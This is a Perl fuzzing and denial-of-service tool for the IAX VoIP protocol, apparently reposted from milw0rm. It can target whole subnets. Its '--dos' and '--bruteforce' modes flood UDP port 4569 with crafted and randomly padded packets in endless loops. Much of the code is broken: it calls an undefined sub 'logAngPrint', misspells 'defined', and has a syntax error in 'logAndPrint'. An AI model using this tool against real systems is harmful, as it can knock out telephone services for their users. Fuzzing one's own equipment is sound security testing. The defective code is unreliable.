#!/usr/bin/perl -w
#udp IAX protocol fuzzer
#Created: Blake Cornell
# Exploits found with this code can be
#  found at
#	http://www.securityscraper.com/
#Released under the VoIPER project
#
# Do not hesitate to show enthusiasm and support
#       and help develop this further.

use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;

my @target_port = (4569);
my @targets = ('127.0.0.1');
my $result = GetOptions('port|p=i' => \(my $port = ''),
                        'host|h=s' => \(my $host = ''),
                        'dos' => \(my $dos = ''),
                        'bruteforce' => \(my $bruteforce = ''),
                        'timeout|t=i' => \(my $timeout = ''),
                        'dust=i' => \(my $dust = ''),
                        'listen' => \(my $listen = ''),
                        'verbose|v' => \(my $verbose = ''),
                        'help|?' => \(my $help = '')) or pod2usage(2);

if($help) { printUsage(); }
if($host) { @targets=@{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($listen&&$dos) { print("DoS mode is in Listening Mode\n"); }

for(my $i=0; $i<=$#targets;$i++) {
	if($verbose) { print($targets[$i]."\n"); }
        fuzzIAX($targets[$i],4569,$timeout);
}
exit;

sub fuzzIAX {
        my($target,$port,$timeout,@args)=@_;

        if($verbose) { print("Trying $target:$port\n"); }

        socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

        my %iaxFrameTypes=(
			'Nan' => "00",
                        'DTMF' => "01",
                        'VOICE' => "02",
                        'VIDEO' => "03",
                        'CONTROL' => "04",
                        'Null' => "05",
                        'IAXCONTROL' => "06",
                        'TEXT' => "07",
                        'IMAGE' => "08",
                        'HTML' => "09",
                        'COMFORTNOISE' => "0a",
                        'Unknown' => "0b",
                        'Unknown' => "0c",
                        'Unknown' => "0d",
                        'Unknown' => "0e",
                        'Unknown' => "0f");

        my %iaxControls=(
			'Nan' => "00",
                        'HANGUP' => "01",
                        'Reserved' => "02",
                        'RINGING' => "03",
                        'ANSWER' => "04",
                        'BUSY' => "05",
                        'Reserved' => "06",
                        'Reserved' => "07",
                        'CONGESTION' => "08",
                        'FLASH_HOOK' => "09",
                        'Reserved' => "0a",
                        'OPTION' => "0b",
                        'KEY_RADIO' => "0c",
                        'UNKEY_RADIO' => "0d",
                        'CALL_PROGRESS' => "0e",
                        'CALL_PROCEEDING' => "0f",
                        'HOLD' => "10",
                        'UNHOLD' => "11");

        my %iaxControlFrames=(
			'Nan' => "00",
                        'NEW' => "01",
                        'PING' => "02",
                        'PONG' => "03",
                        'ACK' => "04",
                        'HANGUP' => "05",
                        'REJECT' => "06",
                        'ACCEPT' => "07",
                        'AUTHREQ' => "08",
                        'AUTHREP' => "09",
                        'INVAL' => "0a",
                        'LAGRQ' => "0b",
                        'LAGRP' => "0c",
                        'REGREQ' => "0d",
                        'REGAUTH' => "0e",
                        'REGACK' => "0f",
                        'REGREJ' => "10",
                        'REGREL' => "11",
                        'VNACK' => "12",
                        'DPREQ' => "13",
                        'DPREP' => "14",
                        'DIAL' => "15",
                        'TXREQ' => "16",
                        'TXCNT' => "17",
                        'TXACC' => "18",
                        'TXREADY' => "19",
                        'TXREL' => "1a",
                        'TXREJ' => "1b",
                        'QUELCH' => "1c",
                        'UNQUELCH' => "1d",
                        'POKE' => "1e",
                        'Reserved' => "1f",
                        'MWI' => "20",
                        'UNSUPPORT' => "21",
                        'TRANSFER' => "22",
                        'Reserved' => "23",
                        'Reserved' => "24",
                        'Reserved' => "25");

        my %iaxHTML = (
                        'SEND_URL' => 1,
                        'DATA_FRAME' => 2,
                        'BEGINNING_FRAME' => 4,
                        'END_FRAME' => 8,
                        'LOAD_COMPLETE' => 16,
                        'PEER_NO_HTML' => 17,
                        'LINK_URL' => 18,
                        'UNLINK_URL' => 19,
                        'REJECT_LINK_URL' => 20);

        my %iaxIE = (
                        'CALLED_NUMBER' => "01",
                        'CALLING_NUMBER' => "02",
                        'CALLING_ANI' => "03",
                        'CALLING_NAME' => "04",
                        'CALLED_CONTEXT' => "05",
                        'USERNAME' => "06",
                        'PASSWORD' => "07",
                        'CAPABILITY' => "08",
                        'FORMAT' => "09",
                        'LANGUAGE' => "0a",
                        'VERSION' => "0b",
                        'ADSPICE' => "0c",
                        'DNID' => "0d",
                        'AUTHMETHODS' => "0e",
                        'CHALLENGE' => "0f",
                        'MD5_RESULT' => "10",
                        'RSA_RESULT' => "11",
                        'APPARENT_ADDR' => "12",
                        'REFRESH' => "13",
                        'DPSTATUS' => "14",
                        'CALLNO' => "15",
                        'CAUSE' => "16",
                        'IAX_UNKNOWN' => "17",
                        'MSGCOUNT' => "18",
                        'AUTOANSWER' => "19",
                        'MUSICONHOLD' => "1a",
                        'TRANSFERID' => "1b",
                        'RDNIS' => "1c",
                        'Reserved' => "1d",
                        'Reserved' => "1e",
                        'DATETIME' => "1f",
                        'Reserved' => "20",
                        'Reserved' => "21",
                        'Reserved' => "22",
                        'Reserved' => "23",
                        'Reserved' => "24",
                        'Reserved' => "25",
                        'CALLINGPRES' => "26",
                        'CALLINGTON' => "27",
                        'CALLINGTNS' => "28",
                        'SAMPLINGRATE' => "29",
                        'CAUSECODE' => "2a",
                        'ENCRYPTION' => "2b",
                        'ENCKEY' => "2c",
                        'CODEC_PREFS' => "2d",
                        'RR_JITTER' => "2e",
                        'RR_LOSS' => "2f",
                        'RR_PKTS' => "30",
                        'RR_DELAY' => "31",
                        'RR_DROPPED' => "32",
                        'RR_000' => "33");

        my %iaxDTMF = (
                        '0' => 0,
                        '1' => 1,
                        '2' => 2,
                        '3' => 3,
                        '4' => 4,
                        '5' => 5,
                        '6' => 6,
                        '7' => 7,
                        '8' => 8,
                        '9' => 9,
                        '*' => 10,
                        '#' => 11,
                        'A' => 12,
                        'B' => 13,
                        'C' => 14,
                        'D' => 15);

        my $MAXLEN = 1024;
        my $TIMEOUT = 1;
        if(defined($timeout) && $timeout ne '' && $timeout != 0) { #timeout of 0 hangs
                                                                #unanswered requests
                $TIMEOUT=$timeout;
        }

        if($dos) {
                if($verbose) { print("Dos attempts initiated\n"); }

                my $src_call = "8000";
                my $dst_call = "0000";
                my $timestamp = "00000000";

			#use rand sequence information to line up RE issues.
                my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
                my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
			#or not
                #my $outbound_seq = "00";
                #my $inbound_seq = "00";

		for(my $i=1; 1==1; $i++) {
			foreach my $frame (keys(%iaxFrameTypes)) {
			  foreach my $subset (keys(%iaxControlFrames)) {
			    foreach my $ie (keys(%iaxIE)) {
                                my $out_msg =   $src_call . 
						$dst_call . 
						$timestamp . 
						$outbound_seq . 
						$inbound_seq . 
						$iaxFrameTypes{$frame} . 
						$iaxControlFrames{$subset} . 
						$iaxIE{$ie};
                                if(my @args = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,$listen,0)) {
                                        if($verbose && $i%1==0) {
                                                print('['.scalar(localtime).'] ');
                                                print($frame.' '.$subset.' '.$ie."\n");
                                        }
                                }
			    }
			  }
                        }
			print "Looping\n";
                }
        }elsif($bruteforce) {
                while(1) {
                        bruteForceFUZZ($target,$port,$listen,$timeout,\%iaxFrameTypes,\%iaxControlFrames,\%iaxIE);
                        print("\t\tLooping\n\n");
                        sleep(5);
                }
        }else{ ###smart fuzz

        my $src_call = "8000";
        my $dst_call = "0000";
        my $timestamp = "00000000";
        my $outbound_seq = "00";
        my $inbound_seq = "00";

foreach my $frameType (keys(%iaxFrameTypes)) {
    if($frameType eq 'CONTROL') {
        foreach my $controlKey (keys(%iaxControls)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControls{$controlKey} . $iaxIE{$ieKey}."00";
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
                        if(defined($recv[0]) && defined($recv[1])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$controlKey." ".$ieKey."\n");
			}
			if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }

    }elsif($frameType eq 'IAXCONTROL') {
        foreach my $frameKey (keys(%iaxControlFrames)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
                        if(defined($recv[0]) && defined($recv[1])) {
                        	logAngPrint('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
			}
			if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }
    }elsif($frameType eq 'HTML') {
        foreach my $htmlKey (keys(%iaxHTML)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxHTML{$htmlKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
                        if(defined($recv[0]) && defined($recv[1])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$htmlKey." ".$ieKey.' ');
			}
			if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }

    }elsif($frameType eq 'DTMF') {
        foreach my $dtmfKey (keys(%iaxDTMF)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxDTMF{$dtmfKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
			if(defined($recv[0]) && defied($recv[2])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$dtmfKey." ".$ieKey.' ');
			}
           		if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }
    }elsif($frameType eq 'TEXT') {
        my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . "00"; #text frame types "must" have a subclass of 0?
        if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
		if(defined($recv[0]) && defined($recv[1])) {
          		print('['.scalar(localtime).'] ');
               		print($recv[0].' '.$recv[1].' '.$frameType.' 00 ');
		}
	        if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
	        	print(length($recv[2])-length($out_msg)." bytes difference\n");
	                print($out_msg.' '.$recv[2]."\n");
		}
        }
    }else{
        foreach my $frameKey (keys(%iaxControlFrames)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
			if(defined($recv[0]) && defined($recv[1])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
			}
                        if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                                print(length($recv[2])-length($out_msg)." bytes difference\n");
                                print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }
      }
    }
  }
}

sub sendUDPSocket {
        my($msg,$target,$port,$timeout,$listen,@args)=@_;

        my $MAXLEN=1024;

                #my($respaddr,$port);
                my $out_msg = pack("H*",$msg);
                my $ipaddr = inet_aton($target);
                my $sin = sockaddr_in($port,$ipaddr);
                send(PING, $out_msg, 0, $sin) == length($out_msg) or die "cannot send to $target : $port : $!\n";

        if($listen) {
		#sleep(.005);
                eval {
                        local $SIG{ALRM} = sub { die "alarm time out"; };
                        alarm $timeout;
                        #alarm $timeout;
                        while (1) {
                                my $recvfrom = recv(PING, my $in_msg, $MAXLEN, 0) or die "recv: $!";
                                ($port, $ipaddr) = sockaddr_in($recvfrom);
                                my $respaddr = inet_ntoa($ipaddr);
                                if($verbose) {
					displayIAXRaw($respaddr,$port,$respaddr,$out_msg,$in_msg);
                                }
                                return($respaddr,$port,unpack("H*",$in_msg));
                        }
                };
                return 0;
        }
}

sub bruteForceFUZZ {
        my($target,$port,$listen,$timeout,$refFrameTypes,$refControlFrames,$refIE,@args)=@_;

                my %iaxFrameTypes=%{$refFrameTypes};
                my %iaxControlFrames=%{$refControlFrames};
                my %iaxIE=%{$refIE};

                for(my $a=32768;$a<=32768;$a++) {# Full Packet 4byte
                 for(my $b=0;$b<=0;$b++) {# Dest Call 4byte
                  for(my $c=0;$c<=0;$c++) {# Timestamp 8byte
                   #for(my $d=0;$d<=0;$d++) {# Out Seq # 2byte
		   my $loopD=1;
                   #for(my $d=unpack("H2",pack("H2",int(rand(256))));$loopD;$d++) {# Out Seq # 2byte
		   #	$loopD=0;

                my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
                my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));


                    #if($verbose) {print(sprintf("%04x",$a)." ".sprintf("%04x",$b)." ".sprintf("%08x",$c)." ".sprintf("%02x",$d)."\n"); }
		    for(my $d=0;1;$d++) {
                     for(my $e=0;1;$e++) {# In Seq # 2byte
                      foreach my $frameType (keys(%iaxFrameTypes)) {
                       foreach my $frameKey (keys(%iaxControlFrames)) {
                        foreach my $ie (keys(%iaxIE)) {
                         for(my $f=0;$f<=0;$f++) {
			  my $maxDust=10;
			  if($listen) { $maxDust/=2; }
			  if(defined($dust) && length($dust) > 0) { $maxDust=$dust; }
                          for(my $z=1;$z<=$maxDust;$z++) {
			    my $len = int(rand(9));
			    my $box= int(rand("9"x(($len+1))));
			      for(my $zz=1;$zz<=$maxDust;$zz++) {	
				my $hex_msg = sprintf("%04x",$a).sprintf("%04x",$b).sprintf("%08x",$c).sprintf("%02x",$d).sprintf("%02x",$e). $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ie} . sprintf("%02x",$f) . sprintf("%0".$len."x",$box);
                                if($verbose) {print("[" . scalar(localtime) . "] '" . $frameType."_".$frameKey."_".$ie."_".sprintf("%02x",$f)."_".sprintf("%0".$len."x",$box)."'\n"); }
				foreach my $var (sendUDPSocket($hex_msg,$target,$port,1,$listen)) { if($verbose) { print($var."_"); } }
			      }
		}}}}}}}}}}  #<------ VERY IMPORTANT
}

sub retIAXHostActive {
        my($target,$port,@args)=@_;
        my $out_msg='';
        if(my @recv = sendUDPSocket($out_msg,$target,$port,1,1)) {
                return 1;
        }
        return 0;
}

sub retHosts {
        my($host,@args)=@_;
        my @addrs;

        if(!$host) { return ('127.0.0.1') };

        if($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
                                        #Check to see if host is valid class C CIDR Address
                if($verbose) { print("Setting CIDR Address Range\n"); }
                my $sn = Net::Subnets->new;

                my($low,$high)=$sn->range(\$host);
                if($verbose) { print("Determined IP Ranges From $$low - $$high\n"); }
                return \@{ $sn->list(\($$low,$$high)) };
        }elsif($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255)  {
                                        #Check to see if host is valid IP
                push(@addrs,"$1.$2.$3.$4");
        }else{
                push(@addrs,$host);
        }
        return \@addrs;
}

sub displayIAXRaw {
	my($respaddr,$port,$out_msg,$in_msg)=@_;

	if(defined($in_msg) && unpack("H*",$in_msg) ne '80000000000000000000060a') {
	        print("[" . scalar(localtime) . "] $respaddr:$port\t$respaddr\t" . unpack("H*",$out_msg) . "\t". unpack("H*",$in_msg) . "\n");
	}elsif(defined($respaddr) && defined($port)) {
	        print(scalar(localtime) . " $respaddr:$port\t$respaddr\n");

	}
}

sub displayIAXPacket {
        my($hex_msg,@args)=@_;

        my $width=32/8;

        for(my $i=0;$i*$width<=length($hex_msg);$i++) {
                print(substr($hex_msg,$i*$width,$width)."\n");
        }
        #print $hex_msg."\n";
}

sub printUsage {
        print "$0 --dos\n\t\tWill loop through known or manually preset packet combinations.\n";
        print "$0 --bruteforce\n\t\tBrute force fuzzes on default port of 4569.  It will try random data packaging at the end of a valid packet.  It will by default send 10 per each packet.\n";
        print "$0 -h 127.0.0.1 --bruteforce --dust 1\n\t\tBrute force fuzzes on default port of 4569.  It will try random data packaging at the end of a valid packet.  It will only send 1 of each packet.\n";
        print "$0 \n\t\tScans the loopback interface by rough usage from IETF guidelines.\n";
        exit;
}

sub logAndPrint {
	my($string,@args)=@);
	
	if(1==1 || defined($string)) {
		print $string;
		open(FLE,">>$0_logs_[".scalar(localtime)."] $string");
		print FLE $string;
		close(FLE);
	}
}

# milw0rm.com [2009-06-12]
